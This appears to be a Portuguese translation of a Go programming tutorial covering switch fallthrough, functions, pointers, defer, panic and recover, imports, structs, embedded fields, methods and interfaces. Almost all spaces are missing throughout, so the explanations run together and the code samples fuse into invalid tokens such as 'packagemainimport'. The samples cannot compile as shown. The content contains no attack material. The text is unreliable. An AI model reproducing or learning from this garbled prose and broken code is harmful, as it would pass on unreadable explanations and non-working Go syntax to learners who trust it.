integer:=6switchinteger{case4:fmt.Println("integer<=4")fallthroughcase5:fmt.Println("integer<=5")fallthroughcase6:fmt.Println("integer<=6")fallthroughcase7:fmt.Println("integer<=7")fallthroughcase8:fmt.Println("integer<=8")fallthroughdefault:fmt.Println("defaultcase")}
Esteprogramamostraaseguinteinformação.
integer<=6integer<=7integer<=8defaultcase
Funções
Useapalavra-chavefuncparadefinirumafunção.
funcfuncName(input1type1,input2type2)(output1type1,output2type2){//corpodafunção//retornodemúltiplosvaloresreturnvalue1,value2}
Nóspodemosextrapolarasseguintesinformaçõesdoexemploacima.
Useapalavra-chavefuncparadefinirumafunçãofuncName.Funçõestemzero,umoumaisargumentos.Otipodoargumentovemdepoisdonomedoargumentoeváriosargumentossãoseparadospor,.Funçõespodemretornarmúltiplosvalores.Existemdoisvaloresderetornocomosnomesoutput1eoutput2,vocêpodeomitirestesnomeseusarapenasostiposdeles.Seexisteapenasumvalorderetornoevocêomitironome,vocênãoprecisausarcolchetesnosvaloresderetorno.Seafunçãonãopossuivaloresderetorno,vocêpodeomitirosparâmetrosderetornocompletamente.Seafunçãopossuivaloresderetorno,vocêprecisautilizarainstruçãoreturnemalgumlugarnocorpodafunção.
Vamosverumexemploprático.(calcularovalormáximo)
packagemainimport"fmt"
//retornaomaiorvalorentreaebfuncmax(a,bint)int{ifa>b{returna
}returnb}
funcmain(){x:=3y:=4z:=5
max_xy:=max(x,y)//chamaafunçãomax(x,y)max_xz:=max(x,z)//chamaafunçãomax(x,z)
fmt.Printf("max(%d,%d)=%d\n",x,y,max_xy)fmt.Printf("max(%d,%d)=%d\n",x,z,max_xz)fmt.Printf("max(%d,%d)=%d\n",y,z,max(y,z))//chamaafunçãomaxaqui}
Noexemploacimaexistemdoisargumentosdotipointnafunçãomax,sendoassimotipodoprimeiroargumentopodeseromitido.Porexemplo,pode-seutilizara,bintemvezdeaint,bint.Asmesmasregrasseaplicamparaargumentosadicionais.Observeaquiquemaxsótemumvalorderetorno,entãonóssóprecisamosescreverotipodovalorderetorno.Estaéaformacurtadeescrevê-lo.
Múltiplosvaloresderetorno
UmacoisaemqueGoémelhorqueCéqueelasuportamúltiplosvaloresderetorno.
Usaremososeguinteexemplo.
packagemainimport"fmt"
//RetornaosresultadosdeA+BeA*BfuncSumAndProduct(A,Bint)(int,int){returnA+B,A*B}
funcmain(){x:=3y:=4
xPLUSy,xTIMESy:=SumAndProduct(x,y)
fmt.Printf("%d+%d=%d\n",x,y,xPLUSy)fmt.Printf("%d*%d=%d\n",x,y,xTIMESy)}
Oexemploacimaretornadoisvaloressemnomes-vocêtambémtemaopçãodenomeá-lossepreferir.Senomearmososvaloresderetorno,poderemosutilizarapenasainstruçãoreturnpararetornarosvaloresjáqueelesforaminicializadosnafunçãoautomaticamente.Observequesesuasfunçõesforemutilizadasforadopacote,oquesignificaqueonomedasfunçõescomeçamcomumaletramaiúscula,émelhorescreverinstruçõescompletasparaoreturn.Istotornaoseucódigomaislegível.
funcSumAndProduct(A,Bint)(addint,Multipliedint){add=A+BMultiplied=A*Breturn}
Argumentosvariáveis
Gosuportaargumentosvariáveis,oquesignificaquevocêpodedarumnúmeroincertodeargumentosparafunções.
funcmyfunc(arg...int){}
Ainstruçãoarg…intsignificaqueestaéumafunçãoquepossuiargumentosvariáveis.Observequeestesargumentossãodotipoint.Nocorpodafunçãooargsetornaumslicedeint.
for_,n:=rangearg{fmt.Printf("Andthenumberis:%d\n",n)}
Passarporvaloreponteiros
Quandopassamosumargumentoparaumafunçãoquefoichamada,afunçãorecebenaverdadeumacópiadanossavariáveisoriginal,sendoassim,asalteraçõesnãoafetarãoavariáveloriginal.
Vejamosumexemploparaprovaroqueeuestoudizendo.
packagemainimport"fmt"
//Funçãosimplesqueadiciona1avariávelafuncadd1(aint)int{a=a+1//alteramosovalordeareturna//retornamosonovovalordea}
funcmain(){x:=3
fmt.Println("x=",x)//devemostrar"x=3"
x1:=add1(x)//chamaadd1(x)
fmt.Println("x+1=",x1)//devemostrar"x+1=4"fmt.Println("x=",x)//devemostrar"x=3"}
Vocêconsegueverisso?Mesmoquenóschamamosadd1comx,ovalororiginaldexnãoéalterado.
Arazãoémuitosimples:quandochamamosadd1,nóspassamosumacópiadexparaafunção,enãooprópriox.
Agoravocêpodeseperguntar,comoeupossopassaroxoriginalparaafunção.
Precisamosusarponteirosaqui.Sabemosqueasvariáveissãoarmazenadasemmemóriaequeelaspossuemendereçosdememória.Então,sequeremosalterarovalordeumavariável,precisamosalterarovalorarmazenadonoendereçodememória.Portanto,afunçãoadd1precisasaberoendereçodememóriadexparapoderalteraroseuvalor.Paraisto,passamos&xparaafunção,ealteramosotipodoargumentoparaotipoponteiro*int.Estejacientedequenóspassamosumacópiadoponteiro,nãoumacópiadovalor.
packagemainimport"fmt"
//Funçãosimplesqueadiciona1avariávelafuncadd1(a*int)int{*a=*a+1//alteramosovalordeareturn*a//retornamosonovovalordea}
funcmain(){x:=3
fmt.Println("x=",x)//devemostrar"x=3"
x1:=add1(&x)//calladd1(&x)passmemoryaddressofx
fmt.Println("x+1=",x1)//devemostrar"x+1=4"fmt.Println("x=",x)//devemostrar"x=4"}
Agorapodemosalterarovalordexdentrodafunção.Porqueusamosponteiros?Quaissãoasvantagens?
Permite-nosusarmaisfunçõesparaoperaremumavariável.Baixocustopassandoendereçosdememória(8bytes),acópianãoéumamaneiraeficiente,tantoemtermodetempocomodeespaço,parapassarvariáveis.
string,slice,mapsãotiposdereferências,sendoassim,porpadrãoelesutilizamponteirosaopassarparaumafunção.(Atenção:Sevocêprecisaalterarocomprimentodeumslice,vocêprecisapassarponteirosexplicitamente)
defer
Gopossuiumapalavra-chavebemprojetadachamadadefer.Vocêpodetermuitasdeclaraçõesdeferemumafunção.Elasserãoexecutadasemordeminversaquandooprogramaexecutaatéofinaldasfunções.Nocasoondeoprogramaabrealgunsarquivosderecurso,estesarquivosprecisamserfechadosantesqueafunçãopossaretornarcomerros.Vamosveralgunsexemplos.
funcReadWrite()bool{file.Open("file")//FaçaalgumatarefaiffailureX{file.Close()returnfalse}
iffailureY{file.Close()returnfalse}
file.Close()returntrue}
Vimosalgumcódigosendorepetidováriasvezes.deferresolveesteproblemamuitobem.Elanãosóajudavocêaescreverumcódigolimpo,comotambémtornaseucódigomaislegível.
funcReadWrite()bool{file.Open("file")deferfile.Close()
iffailureX{returnfalse}iffailureY{returnfalse}returntrue}
Sehouvermaisdeumainstruçãodefer,elasserãoexecutadasemordeminversa.Oexemploaseguirirámostrar43210.
fori:=0;i<5;i++{deferfmt.Printf("%d",i)}
Funçõescomotiposevalores
FunçõestambémsãovariáveisemGo,podemosutilizartypeparadefini-las.Funçõesquepossuemamesmaassinaturapodemservistascomosendodomesmotipo.
typetypeNamefunc(input1inputType1,input2inputType2[,...])(result1resultType1[,...])
Qualéavantagemdesterecurso?Arespostaéqueistonospermitepassarfunçõescomovalores.
packagemainimport"fmt"
typetestIntfunc(int)bool//defineotipodeumafunçãocomovariável
funcisOdd(integerint)bool{ifinteger%2==0{
returnfalse}returntrue}
funcisEven(integerint)bool{ifinteger%2==0{returntrue}returnfalse}
//passaafunção`f`comoumargumentoparaoutrafunção
funcfilter(slice[]int,ftestInt)[]int{varresult[]intfor_,value:=rangeslice{iff(value){result=append(result,value)}}returnresult}
funcmain(){slice:=[]int{1,2,3,4,5,7}fmt.Println("slice=",slice)odd:=filter(slice,isOdd)//usaafunçãocomovalorfmt.Println("Oddelementsofsliceare:",odd)even:=filter(slice,isEven)fmt.Println("Evenelementsofsliceare:",even)}
Istoémuitoútilquandoutilizamosinterfaces.ComovocêpodevertestIntéumavariávelquetemtipodefunção,eosvaloresderetornoeargumentosdefiltersãoosmesmosdetestInt.Portanto,podemosterlógicacomplexaemnossosprogramasmantendoaflexibilidadeemnossocódigo.
PaniceRecover
Gonãopossuiaestruturatry-catchassimcomoJava.Emvezdelançar
exceções,Gousapanicerecoverparalidarcomerros.Noentanto,emborapoderoso,vocênãodeveutilizarainstruçãopanicmuito.
Panicéumafunçãointernaparaquebrarofluxonormaldeprogramaseentraremestadodepânico.QuandoumafunçãoFchamapanic,Fnãocontinuaráexecutando,massuasfunçõesdefercontinuarãoaserexecutadas.EntãoFvoltaaopontodeinterrupçãoquecausouoestadodepânico.Oprogramanãoterminaráatéquetodasessasfunçõesretornemcompanicparaoprimeironíveldagoroutine.panicpodesergeradoexecutandoainstruçãopanicnoprograma,ealgunserrostambémcausampanic,como,porexemplo,atentativadeacessarumaposiçãoinválidaemumarray.
Recoveréumafunçãointernautilizadapararecuperargoroutinesdeestadosdepânico.Chamarrecovernasfunçõesdeferéútilporqueasfunçõesnormaisnãoserãoexecutadasquandooprogramaestiveremestadodepânico.Elerecebeosvaloresdepanicseoprogramaestáemestadodepânico,erecebenilseoprogramanãoestáemestadodepânico.
Oseguinteexemplomostracomoutilizarpanic.
varuser=os.Getenv("USER")
funcinit(){ifuser==""{panic("novaluefor$USER")}}
Oseguinteexemplomostracomoverificarpanic.
functhrowsPanic(ffunc())(bbool){deferfunc(){ifx:=recover();x!=nil{b=true}}()f()//sefcausarpânico,eleirárecuperar
return}
Funçãomainefunçãoinit
Gopossuiduasretençõesquesãochamadasdemaineinit,ondeinitpodeserusadaemtodosospacotesemainsópodeserusadanopacotemain.Estasduasfunçõesnãosãocapazesdeterargumentosouvaloresderetorno.Mesmoquepossamosescrevermuitasfunçõesinitemumpacote,recomendofortementeescreverapenasumafunçãoinitparacadapacote.
ProgramasemGoirãochamarasfunçõesinit()emain()automaticamente,entãovocênãoprecisasepreocuparemchamá-las.Paracadapacote,afunçãoinitéopcional,masopackagemaintemumaeapenasumafunçãomain.
Programasinicializamecomeçamaexecuçãoapartirdopacotemain.Seopacotemainimportaoutrospacotes,elesserãoimportadosemtempodecompilação.Seumpacoteéimportadomuitasvezes,eleserácompiladoapenasumavez.Depoisdeimportarpacotes,osprogramasirãoinicializarasconstantesevariáveisdentrodospacotesimportados,eentãoexecutarafunçãoinitseelaexistir,eassimpordiante.Depoisdetodososoutrospacotessereminicializados,osprogramasirãoinicializarasconstantesevariáveisdopacotemaineentãoexecutarafunçãoinitdentrodopacote,seelaexistir.Afiguraaseguirmostraoprocesso.
Figure2.6FluxodeinicializaçãodeprogramasemGo
import
UsamosimportmuitofrequentementeemprogramasGodaseguinteforma.
import("fmt")
Então,usamosfunçõesdestepacotedaseguintemaneira.
fmt.Println("helloworld")
fmtédabibliotecapadrãoGo,queestálocalizadaem$GOROOT/pkg.Gosuportapacotesdeterceirosdeduasmaneiras.
1. Caminhorelativoimport"./model"//carregaopacotenomesmodiretório,eunãorecomendoutilizarestaforma.
2. Caminhoabsolutoimport"shorturl/model"//carregaopacoteno
caminho"$GOPATH/pkg/shorturl/model"
Existemalgunsoperadoresespeciaisquandoimportamospacotes,einiciantesnalinguagemsempreseconfundemcomestesoperadores.
1. Operador:ponto.Àsvezesvemospessoasusandoaseguinteformaparaimportarpacotes.
import(."fmt")
Ooperadorpontosignificaquevocêpodeomitironomedopacotequandovocêchamarfunçõesdentrodestepacote.Assimsendo,fmt.Printf("Helloworld")torna-sePrintf("Helloworld").
2. Operador:pseudônimo(alias)Elealteraonomedopacotequeimportamosquandochamamosfunçõesquepertencemaestepacote.
import(f"fmt")
Assimsendo,fmt.Printf("Helloworld")torna-sef.Printf("Helloworld").
3. Operador:_.Esteoperadorédifícildeentendersemalguémexplicandoparavocê.
import("database/sql"_"github.com/ziutek/mymysql/godrv")
Ooperador_naverdadesignificaquesóqueremosimportareste
pacoteeexecutarsuafunçãoinit,enãotemoscertezasequeremosusarasfunçõespertencentesaestepacote.
Links
SumárioSeçãoanterior:FundamentosemGoPróximaseção:struct
2.4struct
struct
PodemosdefinirnovostiposdecontêineresdeoutraspropriedadesoucamposemGoexatamentecomoemoutraslinguagensdeprogramação.Porexemplo,podemoscriarumtipochamadopersoncomoscamposname(nome)eage(idade)pararepresentarumapessoa.Chamamosestetipodestruct(estrutura).
typepersonstruct{namestringageint}
Vejacomoéfácildefinirumastruct!
Existemdoiscampos.
nameéumastringusadaparaarmazenaronomedapessoa.ageéumintusadoparaarmazenaraidadedapessoa.
Vamosvercomoutilizaristo.
typepersonstruct{namestringageint}
varPperson//pédotipoperson
P.name="Astaxie"//atribui"Astaxie"paraocampo'name'depP.age=25//atribui25paraocampo'age'depfmt.Printf("Theperson'snameis%s\n",P.name)//acessaocampo'name'dep
Existemoutrastrêsmaneirasdedefinirumaestrutura.
Atribuirosvaloresiniciaisemordem
P:=person{"Tom",25}
Usaroformatofield:value(campo:valor)parainicializaraestruturasemordem
P:=person{age:24,name:"Bob"}
Definirumaestruturaanônimaeentãoinicializarela
P:=struct{namestring;ageint}{"Amy",18}
Vejamosumexemplocompleto.
packagemainimport"fmt"
//defineumnovotipotypepersonstruct{namestring
ageint}
//comparaaidadededuaspessoaseretornadoisvalores:apessoamaisvelhaeadiferençadeidade//estruturaépassadaporvalorfuncOlder(p1,p2person)(person,int){ifp1.age>p2.age{returnp1,p1.age-p2.age}returnp2,p2.age-p1.age}
funcmain(){vartomperson
//inicializaçãotom.name,tom.age="Tom",18
//inicializadoisvalorespeloformato"campo:valor"bob:=person{age:25,name:"Bob"}
//inicializadoisvaloresemordempaul:=person{"Paul",43}
tb_Older,tb_diff:=Older(tom,bob)tp_Older,tp_diff:=Older(tom,paul)bp_Older,bp_diff:=Older(bob,paul)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,bob.name,tb_Older.name,tb_diff)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,paul.name,tp_Older.name,tp_diff)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",bob.name,paul.name,bp_Older.name,bp_diff)}
Camposincorporadosemstruct
Acabeideapresentaravocêcomodefinirumaestruturacomnomesdecamposetipos.Naverdade,Gosuportacampossemnomes,mascomtipos.
Chamamosessescamposdecamposincorporados(embeddedfields).
Quandoumcampoincorporadoéumaestrutura,todososcamposdestaestruturaserãoimplicitamentecamposdaestruturaondeelafoiincorporada.
Vejamosumexemplo.
packagemainimport"fmt"
typeHumanstruct{namestringageintweightint}
typeStudentstruct{Human//campoincorporado,significaqueaestruturaStudentincluitodososcamposqueHumanpossuispecialtystring}
funcmain(){//inicializaumestudantemark:=Student{Human{"Mark",25,120},"ComputerScience"}
//acessaoscamposfmt.Println("Hisnameis",mark.name)fmt.Println("Hisageis",mark.age)fmt.Println("Hisweightis",mark.weight)fmt.Println("Hisspecialtyis",mark.specialty)//modificaaespecialidademark.specialty="AI"fmt.Println("Markchangedhisspecialty")fmt.Println("Hisspecialtyis",mark.specialty)//modificaaidadefmt.Println("Markbecomeold")mark.age=46fmt.Println("Hisageis",mark.age)//modificaopesofmt.Println("Markisnotanathletanymore")mark.weight+=60
fmt.Println("Hisweightis",mark.weight)}
Figure2.7HerançaemStudenteHuman
VimosquepodemosacessaroscamposidadeenomedeStudentexatamentecomopodemosemHuman.Éassimqueoscamposincorporadosfuncionam.Émuitolegal,nãoé?Espere,temalgomaislegal!VocêpodeatéusaroStudentparaacessaroHumannestecampoincorporado!
mark.Human=Human{"Marcus",55,220}mark.Human.age-=1
TodosostiposemGopodemserusadoscomocamposincorporados.
packagemainimport"fmt"
typeSkills[]string
typeHumanstruct{namestringageintweightint}
typeStudentstruct{Human//estruturacomocampoincorporadoSkills//stringslicecomocampoincorporadoint//tipoembutidocomocampoincorporadospecialtystring}
funcmain(){//inicializaoStudentJanejane:=Student{Human:Human{"Jane",35,100},specialty:"Biology"}//acessaoscamposfmt.Println("Hernameis",jane.name)fmt.Println("Herageis",jane.age)fmt.Println("Herweightis",jane.weight)fmt.Println("Herspecialtyis",jane.specialty)//modificaovalordocamposkilljane.Skills=[]string{"anatomy"}fmt.Println("Herskillsare",jane.Skills)fmt.Println("Sheacquiredtwonewones")jane.Skills=append(jane.Skills,"physics","golang")fmt.Println("Herskillsnoware",jane.Skills)//modificaocampoincorporadojane.int=3fmt.Println("Herpreferrednumberis",jane.int)}
Noexemploacima,podemosverquetodosostipospodemsercamposincorporadosepodemosusarfunçõesparaoperarsobreeles.
Noentanto,existemaisumproblema.SeHumanpossuiumcampochamadophoneeStudentpossuiumcampocomomesmonome,oquedevemosfazer?
Gousaumamaneiramuitosimplespararesolveristo.Oscamposexternosobtêmníveisdeacessosuperiores,oquesignificaquequandovocêacessastudent.phone,vocêiráobterocampochamadophonedeStudent,enãoaqueledefinidonaestruturaHuman.Esterecursopodeservistosimplesmentecomoumasobrecargadecampo(fieldoverloading).
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring//Humanpossuiocampophone}
typeEmployeestruct{Human//campoincorporadoHumanspecialtystringphonestring//phoneemEmployee}
funcmain(){Bob:=Employee{Human{"Bob",34,"777-444-XXXX"},"Designer","333-222"}fmt.Println("Bob'sworkphoneis:",Bob.phone)//acessaocampophoneemHumanfmt.Println("Bob'spersonalphoneis:",Bob.Human.phone)}
Links
SumárioSeçãoanterior:DeclaraçõesdecontroleefunçõesPróximaseção:OrientadoaObjeto
OrientaçãoaObjetos
Falamossobrefunçõeseestruturasnasduasúltimasseções,masvocêjáconsiderouusarfunçõescomocamposdeumaestrutura?Nestaseção,vouapresentá-loaoutraformadefunçãoquepossuiumreceptor,queéchamadomethod(método).
method
Suponhaquevocêdefiniuumaestrutura"rectangle"(retângulo)equercalcularasuaárea.Geralmente,usamososeguintecódigoparaatingiresseobjetivo.
packagemainimport"fmt"
typeRectanglestruct{width,heightfloat64}
funcarea(rRectangle)float64{returnr.width*r.height}
funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}fmt.Println("Areaofr1is:",area(r1))fmt.Println("Areaofr2is:",area(r2))}
Oexemploacimapodecalcularaáreadeumretângulo.Usamosafunçãochamadaarea,maselanãoéummétododaestruturarectangle(comométodosdeclasseemlinguagensorientadasaobjetosclássicas).Afunçãoeaestruturasãoduascoisasindependentes,comovocêpodenotar.
Istonãoéumproblema.Entretanto,sevocêtambémtemquecalcularaáreadeumcirculo,quadrado,pentágonoouqualqueroutrotipodeforma,vocêvaiprecisaradicionarfunçõesadicionaiscomnomesmuitosemelhantes.
Figure2.8Relacionamentoentrefunçõeseestruturas
Evidentemente,issonãoélegal.Alémdisso,aáreadeverealmenteserapropriedadedeumcírculoouretângulo.
Porestasrazões,temosoconceitodemethod.methodéafiliadoaotipo.Elepossuiamesmasintaxequeasfunções,excetoporumparâmetroadicionalapósapalavra-chavefuncchamadareceiver(receptor),queéocorpoprincipaldessemétodo.
Usandoomesmoexemplo,Rectangle.area()pertencediretamenteaorectangle,emvezdeserumafunçãoperiférica.Maisespecificamente,length,widthearea()pertencemaorectangle.
ComoRobPikedisse.
"Ummétodoéumfunçãocomumprimeiroargumentoimplícito,chamadoreceptor."
Sintaxedométodo.
func(rReceiverType)funcName(parameters)(results)
Vamosmudarnossoexemplousandomethodemvezdisso.
packagemainimport("fmt"
"math")
typeRectanglestruct{width,heightfloat64}
typeCirclestruct{radiusfloat64}
func(rRectangle)area()float64{returnr.width*r.height}
func(cCircle)area()float64{returnc.radius*c.radius*math.Pi}
funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}c1:=Circle{10}c2:=Circle{25}
fmt.Println("Areaofr1is:",r1.area())fmt.Println("Areaofr2is:",r2.area())fmt.Println("Areaofc1is:",c1.area())fmt.Println("Areaofc2is:",c2.area())}
Notasparaousodemétodos.
Seosnomesdosmétodossãoosmesmos,maselesnãocompartilhamosmesmosreceptores,elesnãosãoosmesmosmétodo.Métodossãocapazesdeacessarcamposdentrodereceptores.Use.parachamarummétodonaestrutura,damesmaformaqueoscampossãochamados.
Figure2.9Métodossãodiferentesemdiferentesestruturas
Noexemploacima,osmétodosarea()pertencemaoRectangleeaoCirclerespectivamente,entãoosreceptoressãoRectangleeCircle.
Umpontoquevalenotaréqueométodocomalinhapontilhadasignificaqueoreceptorépassadoporvalor,nãoporreferência.Adiferençaentreeleséqueummétodopodemudarosvaloresdoseureceptorquandooreceptorépassadoporreferência,eoutrorecebeumacópiadoreceptorquandooreceptorépassadoporvalor.
Oreceptorsópodeserumaestrutura?Claroquenão.Qualquertipopodeseroreceptordeummétodo.Vocêpodeestarconfusosobretiposcustomizados.Estruturaéumtipoespecialdetipocustomizado-hámaistiposcustomizado.
Useoseguinteformatoparadefinirumtipocustomizado.
typetypeNametypeLiteral
Exemplosdetiposcustomizados:
typeagesint
typemoneyfloat32
typemonthsmap[string]int
m:=months{"January":31,"February":28,..."December":31,}
Esperoquevocêsaibausartiposcustomizadosagora.SemelhanteaotypedefemC,usamosagesparasubstituirintnoexemploacima.
Vamosvoltarafalarsobremethod.
Vocêpodeusarquantosmétodosquiseremtiposcustomizados.
packagemainimport"fmt"
const(WHITE=iotaBLACKBLUEREDYELLOW)
typeColorbyte
typeBoxstruct{width,height,depthfloat64colorColor}
typeBoxList[]Box//umaslicedecaixas
func(bBox)Volume()float64{returnb.width*b.height*b.depth}
func(b*Box)SetColor(cColor){
b.color=c}
func(blBoxList)BiggestsColor()Color{v:=0.00k:=Color(WHITE)for_,b:=rangebl{ifb.Volume()>v{v=b.Volume()k=b.color}}returnk}
func(blBoxList)PaintItBlack(){fori,_:=rangebl{bl[i].SetColor(BLACK)}}
func(cColor)String()string{strings:=[]string{"WHITE","BLACK","BLUE","RED","YELLOW"}returnstrings[c]}
funcmain(){boxes:=BoxList{Box{4,4,4,RED},Box{10,10,1,YELLOW},Box{1,1,20,BLACK},Box{10,10,1,BLUE},Box{10,30,1,WHITE},Box{20,20,20,YELLOW},}
fmt.Printf("Wehave%dboxesinourset\n",len(boxes))fmt.Println("Thevolumeofthefirstoneis",boxes[0].Volume(),"cm³")fmt.Println("Thecolorofthelastoneis",boxes[len(boxes)-1].color.String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())
fmt.Println("Let'spaintthemallblack")boxes.PaintItBlack()
fmt.Println("Thecolorofthesecondoneis",boxes[1].color.String())
fmt.Println("Obviously,now,thebiggestoneis",boxes.BiggestsColor().String())}
Definimosalgumasconstantesetiposcustomizados.
UsamosColorcomoapelidoparabyte.DefinimosumaestruturaBoxquetemoscamposheight(altura),width(largura),length(comprimento)ecolor(cor).DefinimosumaestruturaBoxListquetemBoxcomoseucampo.
Então,definimosalgunsmétodosparaosnossostiposcustomizados.
Volume()usaBoxcomoseureceptoreretornaovolumedeBox.SetColor(cColor)mudaacordeBox.BiggestsColor()retornaacorquepossuiomaiorvolume.PaintItBlack()defineascoresdasBoxemBoxListparapreto.String()usaColorcomoseureceptoreretornaapalavraformatadadonomedacor.
Émuitomaisclaroquandousamospalavrasparadescrevernossorequisitos?Frequentementeescrevemosnossosrequisitosantesdecomeçaraprogramar.
Usandoponteirocomoreceptor
VamosdarumaolhadanométodoSetColor.SeureceptoréumponteirodeBox.Sim,vocêpodeusar*Boxcomoumreceptor.Porqueusamosumponteiroaqui?PorquequeremosmudarascoresdeBoxnestemétodo.Assim,senãousarmosumponteiro,elesómudaráovalordentrodeumcópiadeBox.
Sevemosqueumreceptoréoprimeiroargumentodeummétodo,nãoé
difícilentendercomoelefunciona.
Vocêdeveestarperguntandoporquenãoestamosusando(*b).Color=cemvezdeb.Color=cnométodoSetColor().QualquerumestáOKaquiporqueGOsabecomointerpretaraatribuição.VocêachaqueGoémaisfascinanteagora?
Vocêtambémdeveestarseperguntandosedevemosusar(&bl[i]).SetColor(BLACK)emPaintItBlackporquepassamosumponteiroparaSetColor.Novamente,qualquerumestáOKporqueGosabecomointerpretá-lo!
HerançadoMétodo
Aprendemossobreherançadecamposnaúltimaseção.Similarmente,tambémtemosherançademétodoemGo.Seumcampoanônimotivermétodos,entãoaestruturaquecontémocampoterátodososmétodosdeletambém.
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Human//campoanônimoschoolstring}
typeEmployeestruct{Humancompanystring}
//defineummétodoemHumanfunc(h*Human)SayHi(){
fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}
mark.SayHi()sam.SayHi()}
SobrecargadeMétodo
SequisermosqueEmployeetenhaseuprópriométodoSayHi,podemosdefinirummétodocomomesmonomeemEmployee,eeleirásobrescreverSayHiemHumanquandonósochamarmos.
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Humanschoolstring}
typeEmployeestruct{Humancompanystring}
func(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
func(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Sim,vocêpodedividirem2linhasaqui.}
funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}
mark.SayHi()sam.SayHi()}
VocêécapazdeescreverumprogramaOrientadoaObjetosagora,eosmétodosusamaregradecapitalletter(letramaiúscula)paradecidirseépúblicoouprivadotambém.
Links
SumárioSeçãoAnterior:EstruturaPróximaSeção:Interface
2.6Interface
Interface
UmadascaracterísticasdeprojetomaissutilemGosãointerfaces.Depoisdelerestaseção,vocêprovavelmenteficaráimpressionadocomsuaimplementação.
Oqueéumainterface
Resumidamente,umainterfaceéumconjuntodemétodosqueusamosparadefinirumconjuntodeações.
Comoosexemplosnasseçõesanteriores,tantoStudent(Estudante)quantoEmployee(Empregado)podemSayHi()(DigaOi()),masnãofazemamesmacoisa.
Vamosfazermaistrabalho.VamosadicionarmaisummétodoSing()(Cantar())paraeles,juntamentecomométodoBorrowMoney()(EmprestarDinheiro())paraStudenteSpendSalary()(GastarSalario())paraEmployee.
Agora,StudenttemtrêsmétodoschamadosSayHi(),Sing()eBorrowMoney(),eEmployeetemSayHi(),Sing()eSpendSalary().
EstacombinaçãodemétodoséchamadadeinterfaceeéimplementadaporambosStudenteEmployee.Então,StudenteEmployeeimplementamainterface:SayHi()eSing().Aomesmotempo,Employeenãoimplementaainterface:SayHi(),Sing(),BorrowMoney(),eStudentnãoimplementaainterface:SayHi(),Sing(),SpendSalary().IssoocorreporqueEmployeenãotemométodoBorrowMoney()eStudentnãotemométodoSpendSalary().
TipodeInterface
Umainterfacedefineumconjuntodemétodos,portanto,seumtipoimplementatodososmétodos,dizemosqueeleimplementaainterface.
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Humanschoolstringloanfloat32
}
typeEmployeestruct{Humancompanystringmoneyfloat32}
func(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
func(h*Human)Sing(lyricsstring){fmt.Println("Lala,lalala,lalalalala...",lyrics)}
func(h*Human)Guzzle(beerSteinstring){fmt.Println("GuzzleGuzzleGuzzle...",beerStein)}
//EmployeesobrecarregaSayhifunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Sim,vocêpodedividirem2linhasaqui.}
func(s*Student)BorrowMoney(amountfloat32){s.loan+=amount//(novamenteenovamentee...)}
func(e*Employee)SpendSalary(amountfloat32){e.money-=amount//Maisvodkaporfavor!!!Paraaguentarodia!(Morevodkaplease!!!Getmethroughtheday!)}
//defineinterfacetypeMeninterface{SayHi()Sing(lyricsstring)Guzzle(beerSteinstring)}
typeYoungChapinterface{
SayHi()Sing(songstring)BorrowMoney(amountfloat32)}
typeElderlyGentinterface{SayHi()Sing(songstring)SpendSalary(amountfloat32)}
Sabemosqueumainterfacepodeserimplementadaporqualquertipo,eumtipopodeimplementarmuitasinterfacessimultaneamente.
Observequequalquertipoimplementaainterfacevaziainterface{}porqueelanãotemnenhummétodoetodosostipospossuemzerométodosporpadrão.
Valordainterface
Então,quetipodevalorespodemsercolocadosnainterface?Sedefinirmosumavariávelcomoumainterfacedetipo,qualquertipoqueimplementeainterfacepodeseratribuídoaessavariável.
Comonoexemploacima,sedefinirmosumavariável"m"comointerfaceMen,entãoqualquerStudent,HumanouEmployeepodeseratribuídoa"m".EntãonóspoderíamosterumslicedeMen,equalquertipoqueimplementeainterfaceMenpodeatribuiraesteslice.Lembre-senoentantoqueoslicedainterfacenãotemomesmocomportamentodeumaslicedeoutrostipos.
packagemain
import"fmt"
typeHumanstruct{namestringageintphonestring}
typeStudentstruct{Humanschoolstringloanfloat32}
typeEmployeestruct{Humancompanystringmoneyfloat32}
func(hHuman)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}
func(hHuman)Sing(lyricsstring){fmt.Println("Lalalala...",lyrics)}
func(eEmployee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Sim,vocêpodedividirem2linhasaqui.}
//InterfaceMenimplementadaporHuman,StudenteEmployeetypeMeninterface{SayHi()Sing(lyricsstring)}
funcmain(){mike:=Student{Human{"Mike",25,"222-222-XXX"},"MIT",0.00}paul:=Student{Human{"Paul",26,"111-222-XXX"},"Harvard",100}sam:=Employee{Human{"Sam",36,"444-222-XXX"},"GolangInc.",1000}tom:=Employee{Human{"Sam",36,"444-222-XXX"},"ThingsLtd.",5000}
//defineinterfaceivariMen
//possoarmazenarStudenti=mikefmt.Println("ThisisMike,aStudent:")i.SayHi()i.Sing("Novemberrain")
//possoarmazenarEmployeei=tomfmt.Println("ThisisTom,anEmployee:")i.SayHi()i.Sing("Borntobewild")
